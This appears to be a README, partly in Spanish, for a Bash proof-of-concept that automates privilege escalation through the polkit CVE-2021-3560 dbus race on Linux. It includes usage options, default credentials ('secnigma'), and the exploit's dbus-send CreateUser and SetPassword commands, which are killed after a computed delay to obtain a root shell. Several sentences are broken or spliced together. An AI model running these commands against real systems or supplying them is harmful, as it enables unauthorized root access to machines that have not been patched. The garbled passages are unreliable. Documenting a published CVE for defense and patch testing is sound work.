
PoC automatizado en Bash para la escalada de privilegios de polkit CVE-2021-3560. Explota la condición de carrera de temporización de dbus para crear un usuario sudo y obtener una shell root en distribuciones Linux vulnerables.
Esto es solo un script Bash de PoC que automatiza los pasos de explotación mencionados en el blog de Kevin Backhouse. Lee su publicación sobre esta vulnerabilidad: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice y gnome-control-center, y debe tener la versión 0.113 (o posterior) de polkit O 0-105-26 (fork de polkit para Debian).Ubuntu 20.04, con la versión 0-105-26 de polkit (fork de polkit para Debian) y en Centos 8 con la versión 0.115 de polkit. Si estás seguro de que tu objetivo es vulnerable, pero la función de comprobación del exploit falla, usa la opción para omitir todas las comprobaciones y forzar el exploit.La explicación completa y el PoC para explotar esto manualmente se dan en detalle en el blog del investigador.
TL;DR de este exploit se muestra a continuación:
polkit mediante el envío de un mensaje dbus, pero cerrando la solicitud abruptamente mientras polkit está procesando la solicitud. Luego, el atacante puede enviar una segunda solicitud con el identificador de bus único de la solicitud anterior, para ejecutar la solicitud como UID 0, también conocido como root.polkit, porque trata el UID de una conexión con un identificador de bus que ya no existe como una solicitud del UID 0. Esto significa que, si podemos sincronizar correctamente el ataque y terminar nuestra primera solicitud en el momento adecuado, entonces podemos realizar la segunda solicitud con los privilegios del UID 0, también conocido como root.Como dije antes, esto es solo un script bash que automatiza el PoC de Kevin Backhouse. Los comandos principales son los mismos; solo automaticé algunos pasos iniciales (como calcular el tiempo correcto, escanear la vulnerabilidad, insertar credenciales personalizadas, imprimir colores bonitos, etc.).
Si este script se ejecuta sin ningún parámetro, el comportamiento predeterminado de este script es el siguiente:
/etc/os-release.]accountservice y gnome-control-center. [En distribuciones rhel/centos/fedora, usa rpm -qa y en distribuciones debian/ubuntu, usa dpkg -l].rhel.centos,fedora y 0-105-26 para Debian/Ubuntu]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null -f=ysu - <username> con la contraseña proporcionada al script, y luego ejecutar sudo bash para obtener una shell de root.Esc para cerrar el aviso de autenticación y Ctrl+C para terminar el script rápidamente.$t) se calcula dividiendo el tiempo requerido para la solicitud entre 2. ($t=tiempo-requerido-para-la-solicitud/2) [Calculado usando awk]$t), la solicitud para insertar el $username secnigma en el objetivo se repite 20 veces. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma], se genera un hash de contraseña [usando bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!